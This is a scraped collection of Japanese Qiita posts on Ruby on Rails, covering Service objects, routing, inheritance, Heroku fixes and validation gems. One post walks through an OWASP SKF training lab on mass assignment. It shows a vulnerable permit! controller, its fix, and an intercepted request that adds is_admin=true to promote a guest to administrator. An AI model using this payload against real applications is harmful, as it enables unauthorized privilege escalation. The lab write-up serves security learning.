Staff::StaffBaseController . . . def create @form = Staff::LoginForm.new(login_form_params) if @form.email.present? staff_member = StaffMember.find_by("LOWER(email) = ?", @form.email.downcase) end if Staff::Authenticator.new(staff_member).authenticate(@form.password) if staff_member.suspended? staff_member.events.create!(type: 'rejected') flash.now.alert = 'アカウントが停止されています。' render :new else session[:staff_member_id] = staff_member.id session[:last_access_time] = Time.current staff_member.events.create!(type: 'logged_in') flash.notice = 'ログインしました' redirect_to :staff_root end else flash.now.alert = 'メールアドレスまたはパスワードが正しくありません' render action: 'new' end end . . . end 利用する上での注意点 1. 命名規則を1つに定める Serviceオブジェクトの場合、UserCreatorやUserAuthenticatorなどのように「〜or」で終わる名前を付ける方法が広く採用されています。この命名規則に従おうとすると、少し無理やり命名しなければいけない場合があります。 そのため、CreateUserやAuthenticateUserのように、コマンドやアクションを先に書く命名方法が責務が明確になりおすすめです。 どんな方法にしろ、命名規則は守りましょう。 2.Serviceオブジェクトを直接インスタンス化しない Serviceオブジェクトをインスタンス化しても、単にcallメソッドを実行する以外に実はあまり使い道がありません。 callメソッドを実行するのであれば、次のように抽象化してみましょう。 module Service extend ActiveSupport::Concern class_methods do def call(*args) new(*args).call end end end 3. Serviceオブジェクトの呼び出し方法を1つに統一する 個人的にはcallメソッドを使うのが好みですが、呼び出し方法を統一しておけば、新しいServiceオブジェクトを実装するたびに名前を考える面倒がなくなりますし、他のプログラマーは実装の詳細をチェックしなくてもServiceオブジェクトの使い方をすぐに理解できるという効用もあります。 4. Serviceオブジェクトの責務は1つとする Serviceオブジェクトにさまざまなアクションをまとめることもできますが、アクションのセットは1種類に限定することで、コードも読みやすくなり、より自然になります。 5. callメソッドの引数はシンプルに Serviceオブジェクトに2つ以上の引数が与えられる場合、引数をわかりやすくするためにキーワード引数の導入を検討するとよいでしょう。引数が1つの場合であっても、キーワード引数にしておくことで読みやすさが向上するでしょう。 UpdateUser.call(attributes: params[:user], send_notification: false) 6. Serviceオブジェクトが増えたら名前空間でグループ化する コードをうまく編成するために、名前空間で共通のServiceオブジェクトをグループ化することをおすすめします。グループ化する名前空間は、「外部サービス」や「高レベルの機能」など考えられるどんな基準で決めてもかまいません。ただし、Service Objectの命名規則や配置を読みやすい素直なものにするのが名前空間の主要な目的であることをお忘れなく。規則を1つにしていれば、適切な配置は自然に定まります。不要な選択肢を増やさないようにするのがコツです。 Serviceオブジェクトはアンチパターンなのか? Serviceオブジェクトをググってみると、「利用しない方がいい」などといった意見が意外と多かったりします。 そういった人たちの言い分は、デメリットに書いた通りです。 Serviceオブジェクトを使わないようにするには? ServiceオブジェクトではなくconcernとPOROを使ってみましょう。 インターフェイスが改善され、concernが正しく分離され、OOP原則が健全に使われるようになり、コードを把握しやすくなります。 まとめ 自由度が高く、便利な開発パターンであると同時に、デメリットも併せ持っていることで批判的な意見もありました。 実際に採用している現場もあるので、一概に「使っちゃダメ!」とは言えませんが、チーム内で相談しながら運用していけ場いいのかなと思います。 参考 Railsで重要なパターンpart 1: Service Object(翻訳) Rails:Service層を運用して良かったところ、悪かったところ Service Objectがアンチパターンである理由とよりよい代替手段(翻訳)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

KBID 147 - Parameter bindingをやってみた。

Owaspのやられサイトで勉強してみた。 KBID 147 - Parameter binding やられサイトの構築 Dockerイメージをダウンロードする. $ sudo docker pull blabla1337/owasp-skf-lab:parameter-bindin ダウンロードしたイメージからコンテナを起動する。 $ sudo docker run -ti -p 127.0.0.1:3000:3000 blabla1337/owasp-skf-lab:parameter-binding docker psコマンドでコンテナが起動しているか確かめる。 $ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 886ea332a5d7 blabla1337/owasp-skf-lab:parameter-binding "bundle exec rails s…" About a minute ago Up About a minute 127.0.0.1:3000->3000/tcp, 5000/tcp nice_khayyam 起動させてコンテナにbashで入る。 $ sudo docker exec -i -t 886ea332a5d7 bash コンテナ内でシェルで自身のIPアドレスを調べる。 root@886ea332a5d7:/skf-labs/parameter-binding# hostname -I 172.17.0.2 ブラウザでWebアプリにアクセスできました。 Reconnaissance Mass assignmentの脆弱性とは、WebアプリのActive Recordパターンが悪用されるバグです。ユーザーが本来アクセスできないデータを変更される危険性がある。 pages_controller.rbを調べてみる。データベースにクエリを書き込むために ORMフレームワークが利用されている。 pages_controller.rb class PagesController < ApplicationController def home @user = User.all end def show @user = User.find(params[:id]) end def edit @user = User.find(params[:id]) end def update @user = User.find(params[:id]) @user.update(user_params) redirect_to root_path end private def user_params params.require(:user).permit! end end この行でparameter binding攻撃できることが分かる。 pages_controller.rb params.require(:user).permit! userモデルを調べる。 20190517121136_create_users.rb class CreateUsers < ActiveRecord::Migration[5.2] def change create_table :users do |t| t.string :username t.string :title t.boolean :is_admin t.timestamps end end Webアプリを調べていく。アクティブユーザー情報のテーブルを見つける。 権限なしでUpdate Userできるようです。 権限割り当て緩すぎると、外部からフィールドを上書きされてしまう可能性がある。 pages_controller.rbを調べる。 pages_controller.rb def update @user = User.find(params[:id]) @user.update(user_params) redirect_to root_path end private def user_params params.require(:user).permit! end paramsはRailsにて「送られてきた値を受け取るためのメソッド」です。 requireメソッドでPOSTで受け取る値のキー設定、 permitメソッドで許可して受け取る値を制限しています。 permitに値が指定されていません。本当は、以下のように値が設定されているべきです。 pages_controller.rb params.require(:user).permit(:username, :title) Exploitation POST /pages/1リクエストをInterceptします。 POST /pages/1 HTTP/1.1 Host: 172.17.0.2:5000 Content-Length: 238 Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01 X-CSRF-Token: ppML8Skv5kqvBI1q4otdaHh9WmlQAVN5nlG+Y8fXYprm9sTxyiMRilkoLA0Hnd5elcUHLrrv1CTqLs7iOwl9Hg== X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://172.17.0.2:5000 Referer: http://172.17.0.2:5000/pages/1/edit Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _parameter_binding_session=WE%2Bmw2hKP5X63om1LWUUSODMCW8eEyKhau1pJ2%2BAkg%2BLVoB3GebJwkjxe1VVpwtrgVOb%2FB1kbhf51WU8tnM6CgpbgDdRA%2FuaKzPf9nE1v3TfBTOS6t6oCnvg9suT7yBScXcFJ%2BDbfI4lflbs3jk%3D--lSOT%2FWgDJeLvlBk4--u93aMVswfbNy2eV5IbWZWA%3D%3D Connection: close utf8=%E2%9C%93&_method=patch&authenticity_token=1bz6vyzE8PCcvABpDELo5RdEBADuhb1gGyKLYINg3pQyOPTrbuAQmekivgsITZLvrVAvxOxFNvsv3N4%2F%2BTxEqQ%3D%3D&_method=patch&user%5Busername%5D=Guest&user%5Btitle%5D=a%20normal%20user&commit=Update%20User is_admin%5D=trueをパラメータに追加します。 utf8=%E2%9C%93&_method=patch&authenticity_token=1bz6vyzE8PCcvABpDELo5RdEBADuhb1gGyKLYINg3pQyOPTrbuAQmekivgsITZLvrVAvxOxFNvsv3N4%2F%2BTxEqQ%3D%3D&_method=patch&user%5Busername%5D=Guest&user%5Btitle%5D=a%20normal%20user%user5Bis_admin%5D=true&commit=Update%20User GuestのPrivilegedがTrueに変更できた。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Rails】ルーティングの個人的よく使う小技集

はじめに ルーティングが無いとアプリケーションは動かないですよね。それくらい重要な要素ですが、意外と知られていない機能があるのです。それを使いこなすことで、より便利で分かりやすいルーティングを定義できると思うので、小技を習得していってください! 小技集 リソースフルなルーティングを一括定義する resources :テーブル名のような定義方法をすることで、リソースフルなルーティングを一括定義することが可能です。 resources :users ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /users users#index GET /users/new users#new POST /users users#create GET /users/:id users#show GET /users/:id/edit users#edit PATCH /users/:id users#update DELETE /users/:id users#destroy 単数形リソースの定義 idを必要としない(1つしかない)リソースには単数形リソースで定義することができます。 ※単数形リソースは複数形のコントローラに割り当てられます。 resource :user 名前空間を利用して用途を明確化する コントローラを名前空間によってグループ化することもできます。 namespace :admin do resources :users end ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /admin/users admin/users#index GET /admin/users/new admin/users#new POST /admin/users admin/users#create GET /admin/users/:id admin/users#show GET /admin/users/:id/edit admin/users#edit PATCH /admin/users/:id admin/users#update DELETE /admin/users/:id admin/users#destroy ルーティングの「concern」機能 concernを使うことで、他のリソースやルーティング内で使いまわせる共通のルーティングを宣言できます。 ※concernはルーティング内のどの場所にでも配置できます。 # concernの定義 concern :commentable do resources :comments end # 下記ルーティングと同義 resources :messages, concerns: :commentable # 上記ルーティングと同義 resources :messages do resources :comments end 名前付きルーティングを使用する :asオプションを使うと、どんなルーティングにも名前を指定できます。 指定した名前_pathで、名前付きヘルパーメソッドを呼び出せます。 get 'exit', to: 'sessions#destroy', as: :logout URLフォーマットを特定の形式に制限する :constraintsオプションを使って、動的セグメントのURLフォーマットを特定の形式に制限できます。 # 「/photos/A12345」にマッチするもののみ許可 get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ } ルーティンググロブ(ワイルドカードセ)を使う *を用いることでワイルドカードを利用できます。 get 'photos/*other', to: 'photos#unknown' コントローラを指定する :controllerオプションは、リソースで使うコントローラを明示的に指定します。 resources :users, controller: 'staffs' ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /users staffs#index GET /users/new staffs#new POST /users staffs#create GET /users/:id staffs#show GET /users/:id/edit staffs#edit PATCH /users/:id staffs#update DELETE /users/:id staffs#destroy 終わりに 現場でもよく使われるルーティングの技術だと思うので、「知らなかった。。」と恥をかかないように、今のうちに知っておきましょう! 参考 Rails のルーティング
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Rails】ルーティングの小技集

はじめに ルーティングが無いとアプリケーションは動かないですよね。それくらい重要な要素ですが、意外と知られていない機能があるのです。それを使いこなすことで、より便利で分かりやすいルーティングを定義できると思うので、小技を習得していってください! 小技集 リソースフルなルーティングを一括定義する resources :テーブル名のような定義方法をすることで、リソースフルなルーティングを一括定義することが可能です。 resources :users ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /users users#index GET /users/new users#new POST /users users#create GET /users/:id users#show GET /users/:id/edit users#edit PATCH /users/:id users#update DELETE /users/:id users#destroy 単数形リソースの定義 idを必要としない(1つしかない)リソースには単数形リソースで定義することができます。 ※単数形リソースは複数形のコントローラに割り当てられます。 resource :user 名前空間を利用して用途を明確化する コントローラを名前空間によってグループ化することもできます。 namespace :admin do resources :users end ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /admin/users admin/users#index GET /admin/users/new admin/users#new POST /admin/users admin/users#create GET /admin/users/:id admin/users#show GET /admin/users/:id/edit admin/users#edit PATCH /admin/users/:id admin/users#update DELETE /admin/users/:id admin/users#destroy ルーティングの「concern」機能 concernを使うことで、他のリソースやルーティング内で使いまわせる共通のルーティングを宣言できます。 ※concernはルーティング内のどの場所にでも配置できます。 # concernの定義 concern :commentable do resources :comments end # 下記ルーティングと同義 resources :messages, concerns: :commentable # 上記ルーティングと同義 resources :messages do resources :comments end 名前付きルーティングを使用する :asオプションを使うと、どんなルーティングにも名前を指定できます。 指定した名前_pathで、名前付きヘルパーメソッドを呼び出せます。 get 'exit', to: 'sessions#destroy', as: :logout URLフォーマットを特定の形式に制限する :constraintsオプションを使って、動的セグメントのURLフォーマットを特定の形式に制限できます。 # 「/photos/A12345」にマッチするもののみ許可 get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ } ルーティンググロブ(ワイルドカードセ)を使う *を用いることでワイルドカードを利用できます。 get 'photos/*other', to: 'photos#unknown' コントローラを指定する :controllerオプションは、リソースで使うコントローラを明示的に指定します。 resources :users, controller: 'staffs' ※定義されたルーティングは以下の通りです。 HTTP動詞 パス コントローラ#アクション GET /users staffs#index GET /users/new staffs#new POST /users staffs#create GET /users/:id staffs#show GET /users/:id/edit staffs#edit PATCH /users/:id staffs#update DELETE /users/:id staffs#destroy 終わりに 現場でもよく使われるルーティングの技術だと思うので、「知らなかった。。」と恥をかかないように、今のうちに知っておきましょう! 参考 Rails のルーティング
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Ruby] クラスをさらに深ぼる

はじめに 前回はクラスの基本的な概念をアウトプットしました。 今回はもう少し踏み込んだ内容について書かせていただきます。 クラスの継承 前回のタイヤキの話でクラスは共通部分を再利用できるので効率がいい。例えば新商品が出ても元のタイヤキをアレンジするだけでいい、それが共通部分を再利用できるということです。 みたいなわかりにくい説明してたと思うんですが、その話を踏み込んでいきます。 クラスというのは親子関係を作ることができるのです。 元々あるクラスの情報をもとにして新しいクラスを作るということです。これを「クラスの継承」と呼びます。 元となったクラスのことはスーパークラスと言います。 スーパークラスをもとに作られた新しいクラスはサブクラスと言います。 クラスの継承を使うと共通部分をまとめることができるので非常に効率的なのです。 今回は車を例に説明をしていきたいと思います。 例えば、パトカー、消防車、救急車のクラスを作る時には、自動車という三つともに共通する情報があるクラスを作成し、そこから派生をする形でそれらの三つのクラスを作成した方が効率的ですよね。 一から設計図を書き直すより、エンジンの構造とかアクセル、ブレーキの構造など同じ部分があるならそれは継承してあげた方が楽っていう話です。 継承の仕組み 継承の仕方は 新しいクラス < もとになるクラス です。 class PoliceCar < Car end クラスを継承するとサブクラスに親のインスタンス変数と親のインスタンスメソッドが引き継がれます。 下記にCarクラスを継承したPoliceCarクラスの作成するコードを示します。 class Car def initialize(car_type, capacity) @name = car_type @capacity = capacity end def info puts "車種:#{@name} 乗車定員:#{@capacity}人" end end class PoliceCar < Car end police_car = PoliceCar.new("パトカー", 5) police_car.info # ターミナル出力結果 # 車種:パトカー 乗車定員:5人 PoliceCarの中身には何も記述していないのにもかかわらず、継承元のCarクラスのインスタンス変数とインスタンスメソッドを使うことができています。 インスタンスメソッドの追加 もちろんサブクラス独自のインスタンスメソッドを追加することもできます。 特に深く考えずにサブクラス内に普通にメソッドを定義してあげれば問題ないです。 下記が例です。 class Car def initialize(car_type, capacity) @name = car_type @capacity = capacity end def info puts "車種:#{@name} 乗車定員:#{@capacity}人" end end class PoliceCar < Car def siren puts "ウゥ〜ウゥ〜" end end police_car = PoliceCar.new("パトカー", 5) police_car.siren # ターミナル出力結果 # ウゥ〜ウゥ〜 新たなsirenメソッドを定義してそれを実行しています。このようにして、各々のサブクラスの個性を出してあげます 笑 オーバーライド 親クラスに既に存在するメソッドと同じ名前でサブクラスでメソッドを定義すると、上書きすることができます。 これを、そのままですがオーバーライドと言います。 例えば下記のコードを見てください。 class Car def initialize(car_type, capacity) @name = car_type @capacity = capacity end def info puts "車種:#{@name} 乗車定員:#{@capacity}人" end end class PoliceCar < Car def info puts "車種:#{@name} 乗車定員:#{@capacity}人 パトロール時間:24時間" end def siren puts "ウゥ〜ウゥ〜" end end police_car = PoliceCar.new("パトカー", 5) police_car.info # ターミナル出力結果 # 車種:パトカー 乗車定員:5人 パトロール時間:24時間 スーパークラスのCarクラスで定義されているinfoメソッドと同じ名前のinfoメソッドがサブクラスのPoliceCarクラスにも定義されていて、さらにpolice_carに対してそれを使うと、見事にサブクラス側で定義された結果が出力されます。 最後に クラスに関してはなんとなく頭でわかっていても、継承したりすると、なんだか記述が似てきたりして混乱することがあります。 この考え方は他の言語にも存在するのでよく理解しておきたいです。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

デプロイ後、トップページは表示できるのにユーザー登録画面に行けない

環境 Ruby 2.6.5 RailsRails 6.0.3.6 状況 ユーザー登録機能をdeviseで実装したオリジナルアプリを、Herokuにてデプロイ。 アクセスすると、トップページは表示されますが、トップページから「新規登録」や「ログイン」をクリックすると、エラーが出るという状況です。 結論 Heroku上でのマイグレーションがうまくいっていないことが原因でした。 解決までの過程 ① heroku logs --tail --app <<アプリケーション名>> でログを確認 ログの最下部にstatus=500とあります。500番台は、サーバーがブラウザからのリクエストの処理に失敗した状態です。 調べてみると、DBに関わる場合が多いとわかり、heroku run rails db:migrateでもう一度マイグレーションを試みます。 ② マイグレーション中のログ内にエラーを確認 「No such column: posts.genre」 postsテーブルにgenreというカラムが存在しないことにより、 「all later migrations canceled:」 マイグレーションがキャンセルされた ということがわかりました。 ③ 問題解決のための仮定 postsテーブルを確認すると、genreカラムではなくgenre_idカラムが存在していました。 初めはgenreカラムを作成しましたが、設計を変更し、genre_idカラムに書き換えました。 そのためのファイルが以下です。 このファイルがある状態でHerokuにマイグレーションを行おうとすると、genreカラムの存在が確認できず、エラーが出ると考えました。 ④ 仮定の検証 genreカラムをgenre_idカラムに変更したファイルを削除し、再度heroku run rails db:migrateを実行しました。 ⑤ 問題の解決 マイグレーションが完了し、アプリも正常に作動しました。 まとめと疑問点 エラーは、ログからエラー内容の確認、原因の特定、修正の流れが大切だと再認識しました。 ただ今回の場合、そもそも「新規登録」や「ログイン」のボタンをクリックしても情報入力ページに行くだけなので、DBはまだ関係ないのではと疑問が残りました。 情報入力後、「登録する」や「ログインする」のボタンをクリックするとエラーになるのなら納得できるのですが・・・ この点も含め、より理解が深まるよう、今後も学習を継続したいと思います。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【初心者】resources, resource, member, collection, namespaceの使い分け

先に結論 ・resources リソースのCRUDをRestfulに実現するためにRailsが用意しているメソッド [使いどころ] RailsでCRUDを実現するためのメソッド(index, show, new, create, edit, update)を使いたい時にまとめて設定できる。 ・resource recourcesと同じ。違うところは、リソースが複数できることがない時。 つまり、indexアクションがない時。 [使いどころ] リソースが複数存在する可能性がない時。 dashboardとかもある意味リソースがひとつか? ・member 個別のリソースに対して基本の7つ以外のアクションを作成できる。 [使いどころ] リソースとして切り分けるほどでもない小さい概念を扱いたい。 その時、どうしても基本アクション以外が欲しい時。 collectionとの違いは、ネストの親リソースの個別にURLが欲しい時。 ex) Tweetsのreviewなど。個別のツイートに対してレビューが存在する。 ・collection 個別のリソースに対して基本の7つ以外のアクションを作成できる。 [使いどころ] リソースとして切り分けるほどでもない小さい概念を扱いたい。 その時、どうしても基本アクション以外が欲しい時。 memberとの違いは、ネストの親リソースに対して個別のURLが必要ない時。 ex) Tweetsのsearchなど。ツイート全体に対して「探す」という機能が存在する。 ・namespace 全部やっちゃう子 Prefix, Verb, URI, Pattern, Controller#Action が全てネストされる。 scope Prefix, Controller#Actionはそのままに、URI Patternだけネストしちゃう。 scope module: Prefix, URIPatternはそのままに、Controller#Actionだけネストしちゃう。 これだけではわからないと思うので、以下で解説。 ResourcesとResourceの違い resources... 基本的なRestの機能を実現するためのアクションを自動生成 resource ... ひとつしかできる余地のないリソースに対して使用。URLにidの記述がなくなる routes.rb resource :hoge ターミナル $rails routes new_hoge GET /hoge/new(.:format) hoges#new edit_hoge GET /hoge/edit(.:format) hoges#edit hoge GET /hoge(.:format) hoges#show PATCH /hoge(.:format) hoges#update PUT /hoge(.:format) hoges#update DELETE /hoge(.:format) hoges#destroy POST /hoge(.:format) hoges#create ご覧の通り、indexがない。ひとつのリソースしか存在しない前提なので、indexは作られない。 注意ポイントは、URLはhogesではなく、hoge(単数系ルーティング)になっていること。 コントローラーはhogesのままだから間違えやすいポイント。 (基本的に、resourcesとネストさせずに単体で使うことはないかも?) member, collection member memberは、個別のリソースに対して基本の7つ以外のアクションを作成できる。 ※基本の7つとは、index, show, new, create, edit, update, delete routes.rb resources :tweets do member do get 'review' end end ターミナル Prefix Verb URI Pattern Controller#Action review_tweet GET /tweets/:id/review(.:format) tweets#review collection collectionはリソース全体に対する基本の7つ以外のアクションを作成できる。 routes.rb resources :tweets do collection do get 'search' end end ターミナル Prefix Verb URI Pattern Controller#Action search_tweets GET /tweets/search(.:format) tweets#search memberやcollectionで独自のアクションをリソースを指定して作成できますが、できるだけRestfulな設計思想に乗っかるように、7つのアクションを使うようにしましょう。 ちょっと待て、Restとは? Restとは、アプリケーションを構成するコンポーネント(Usersなど)を ・RDBMSのCRUD(Create/Read/Update/Delete) ・HTTPRequestの各メソッド(GET/POST/PUT/DELETE) に対応させて、自由に**作成、読み出し、更新、削除ができるリソースとして扱うアーキテクチャ。 RailsはRestをサポートしており、その最たる例がresourcesやresource。 以上4つのメソッドを実現するアクションとURLを自動で結びつけてくれる。 ネストしたルーティング resourcesをネストさせるとURLをネストさせた形で指定できる。 例えば、アニメはたくさんのレビューを持っていると思うので、以下のようにルーティングをネストさせるべきだろう。 route.rb Rails.application.routes.draw do  resources :anime do   resources :review  end end こうすることで、 /animes -> anime#index /animes/:id anime#show などはもちろん、 /anime/anime_id/review(GET) -> review#index /anime/anime_id/review/id(GET) -> review#show などのように、animeにネストさせた形でreviewのURLを構成することができる。 ちなみにanime_idが絶対に入っていることからmemberを使った場合と同じURLの割り振り方であると、理解できる。 namespace 基本的に、Railsのルーティングはresourcesのネストまでを使えば表現できる。 しかし、ルーティングをグルーピングしたいときは以下のnamespaceを用いる。 routes.rb resources :posts namespace :admin do resources :posts end end こうすることで、Postリソースの操作内容をadminユーザーの場合と、一般ユーザーの場合で分けることができます。これは、member, collectionでは実現できないことです。 /posts /posts/:id /admin/posts /admin/posts/:id と2種類のグルーピングができる そして、コントローラーは、ネストした形にしたものを新しく作成する。 admin/posts_controller.rb class Admin::PostsController < ApplicationController def #メソッド(CRUD) end namespace以外のグルーピング方法 rails routes コマンドで出てくる情報として、Prefix、URI Pattern 、Controller#Action がある。namespaceは全部をネストした形にしてくれる。以下のメソッドはどれかだけをネストしたい場合に使われる。 ・scope ・sope module: namespace -> Prefix、URI Pattern 、Controller#Action scope -> URI Pattern のみ scope module: -> Controller#Actionのみ(ディレクトリ構造) この対応によって使い分ければオッケーです。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【第2章】Railsチュートリアルでユーザーの最初のマイクロポストが表示できない時にやったこと

Railsチュートリアル第2章の演習でユーザーの最初のマイクロポストを表示してみると、想定とは違った。 やったこと① @user.micropostsを追加した まず、show.html.erbに以下を追加した。 <p> <strong>First Post:</strong> <%= @user.microposts %> </p> するとエラーは発生しないものの、 First Post: #Micropost::ActiveRecord_Associations_CollectionProxy:0x00007efe7ad4d670 が表示された。 やったこと② @user.microposts.firstを追加した これではマイクロポストをすべて表示しようとしてしまうのだろうと思い、以下に変更 <p> <strong>First Post:</strong> <%= @user.microposts.first %> </p> すると、 First Post: #Micropost:0x00007efe7ae95e88 となった。 やったこと③ @user.microposts.first.contentを追加した ②で合っているのでは…?と思っていたので、正解/不正解の判断が付かず、検索するといくつも解答例の記事が存在した。 https://kojimanotech.com/2018/06/17/63/ を参考に以下に修正。 <p> <strong>First Post:</strong> <%= @user.microposts.first.content %> </p> 画面を開くと、想定したマイクロポストが表示された。 First Post: First micropost! ②の状態では最初のマイクロポストのidやuser_idも含まれるということか。 まとめ やったこと①②③の流れで解決できた。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

valid_email2というgemについて

valid_email2とは メールの正規表現を提供するgemのことです。ドメインに MX レコードがあることをさらに検証します。 インストール方法 Gemfileに以下を記載し、budle installを実行する。 gem "valid_email2" 基本的な使い方 有効なメールアドレスであることを確認する validates :email, presence: true, 'valid_email_2/email': true 用途別使い方 ドメインに MXレコードまたはAレコードがあることを確認したい場合 validates :email, 'valid_email_2/email': { mx: true } # MXレコードがあることを厳密に検証する場合 validates :email, 'valid_email_2/email': { strict_mx: true } ドメインが使い捨て電子メールではないことを確認したい場合 validates :email, 'valid_email_2/email': { disposable_domain: true } 電子メールがサブアドレス指定されていないことを確認したい場合 validates :email, 'valid_email_2/email': { disallow_subaddressing : true } 電子メールの @ の前にドットが含まれていないことを確認したい場合 validates :email, 'valid_email_2/email': { disallow_dotted : true } 独自のカスタムメッセージの作成をしたい場合 validates :email, 'valid_email_2/email': { message : "有効なメールではありません" } 複数のアドレスをコンマで区切って許可したい場合 validates :email, 'valid_email_2/email': { multiple: true } モデル以外での使用例 address = ValidEmail2::Address.new("sample@gmail.com") address.valid? => true address.disposable? => false address.valid_mx? => true address.valid_strict_mx? => true address.subaddressed? => false 参考 公式ドキュメント
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

テストの平均点の出し方

平均点を出す方法 学校の各教科のテスト点数を変数化する 国語:55点 数学:72点 理科:89点 社会:63点 英語:75点 であったとする。 これらの点数を変数化してみる。 japanese_score = 55 math_acore = 72 science_score = 89 society_score = 63 english_score = 75 平均点を変数化する 各教科の点数を変数化したので、今度は平均点を変数化する。 average_score = (japanese_score + math_acore + science_score + society_score + english_score) / 5 平均点をターミナルに出力する puts "テストの平均点は、#{average_score}です。" まとめ このように各情報を変数化することで、コードが見やすくなる。 また、点数の変更があった場合、コードの修正も少なく済む。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Rails]field_for 配下の各オブジェクトを取得する方法

課題 fields_for配下の各オブジェクトを取得する方法を知らなかったのでメモ。 <%= form_with model: @user, local: true do |f| %> <%= f.text_field :name %> <%= f.fields_for :sales do |ff| %> <%= ff.text_field :amount, class: 'form-control' %> <% end %> <%= submit_tag 'submit' %> <% end %> 上記のようにネストされたフォームで、各子レコードを取得したい。 結論 ff.object で取れる コンソールで検証 irb(main):001:0> ff.object => #<Sale id: 1, amount: 1000 > 参考情報 fields_forの上手な使い方 https://qiita.com/kouuuki/items/5daf2b5f34273d8457f7
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む